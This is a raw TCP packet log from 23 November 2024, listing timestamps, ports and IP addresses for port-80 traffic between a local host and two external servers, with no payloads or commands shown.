Nov 23, 2024 11:22:25.533144951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533158064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533164024 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533173084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533178091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533190012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533205986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533221006 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533230066 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533237934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533253908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533257008 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533269882 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533282995 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533287048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533302069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533312082 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533317089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533334017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533345938 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533349991 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533365011 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533368111 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533380985 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533396959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533411980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533418894 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533428907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533444881 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533444881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533461094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533469915 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533476114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533490896 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533507109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533514977 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533524036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533539057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533540010 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533564091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533571005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533586979 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533612013 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533627987 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533633947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533652067 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533653021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533670902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533687115 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533701897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533709049 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533718109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533732891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533732891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533760071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533776999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533792973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533807039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533817053 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533822060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533838034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533847094 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533854008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533869028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533889055 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533894062 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533915997 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533921957 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533937931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533952951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533968925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533974886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533984900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.533998966 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.533999920 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534018993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534024954 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534039974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534065962 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534075022 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534091949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534117937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534118891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534132957 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534142017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534157038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534162998 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534172058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534188032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534195900 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534203053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534218073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534235001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534244061 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534250021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534266949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534281969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534286976 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534296989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534312010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534315109 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534327984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534341097 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534343958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534354925 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534359932 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534375906 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534384966 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534392118 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534406900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534411907 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534423113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534430027 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534439087 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534454107 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534460068 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534471035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534478903 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534487009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534502029 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534508944 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534514904 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534517050 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534533978 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534542084 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534549952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534554005 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534574986 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534574986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534595966 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534646034 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534662008 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534676075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534683943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534692049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534708023 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534713984 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534717083 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534723997 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534740925 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534750938 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534755945 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534765959 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534784079 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534801006 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534817934 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534832001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534847975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534854889 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534863949 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534881115 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534881115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534897089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534904957 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534931898 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.534934044 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.534940958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.534961939 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534976959 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.534991980 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535007000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535013914 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535022974 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535037994 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535043955 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535058975 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535073996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535084963 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535089016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535104990 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535119057 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535125971 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535135984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535147905 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535151005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535177946 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535180092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535193920 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535209894 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535226107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535228968 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535242081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535243034 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535258055 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535260916 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535274029 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535290003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535305023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535309076 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535334110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535336971 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535348892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535362959 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535376072 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535378933 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535396099 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535402060 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535410881 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535434961 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535440922 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535444975 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535450935 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535466909 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535470963 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535482883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535485029 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535499096 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535506964 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535516024 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535531998 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535546064 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535553932 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535562038 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535574913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535583019 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535604000 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535612106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535624027 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535626888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535645962 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535655022 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535676956 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535692930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535696983 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535708904 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535713911 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535725117 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535732031 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535741091 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535757065 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535764933 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535773039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535774946 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535794020 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535794020 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535825968 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535840988 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535856962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535871983 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535877943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535887003 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535902977 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535902977 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535917997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535928011 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535954952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.535959005 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.535970926 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.535983086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.535985947 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536004066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536010981 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536020041 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536020994 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536036968 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536041975 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536070108 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536075115 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536093950 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536108971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536118984 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536123991 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536128044 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536140919 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536156893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536183119 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536195993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536209106 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536214113 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536228895 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536245108 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536257982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536263943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536273956 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536288977 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536293983 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536303997 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536307096 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536319971 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536329985 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536335945 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536346912 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536350965 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536369085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536385059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536391020 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536400080 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536412954 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536413908 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536432028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536436081 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536447048 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536463022 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536469936 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536469936 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536478996 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536495924 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536505938 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536511898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536514997 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536528111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536535025 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536545038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536560059 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536571026 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536575079 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536603928 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536616087 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536628962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536643982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536658049 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536664009 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536685944 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536709070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536725044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536731958 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536742926 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536750078 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536758900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536776066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536781073 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536792040 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536808014 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536814928 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536834002 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536848068 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536864996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536864996 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536880970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536884069 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536896944 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536900997 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536912918 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.536930084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536932945 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536951065 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:25.536955118 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.536974907 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:25.536983967 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.537002087 CET	80	49793	185.215.113.16	192.168.2.4
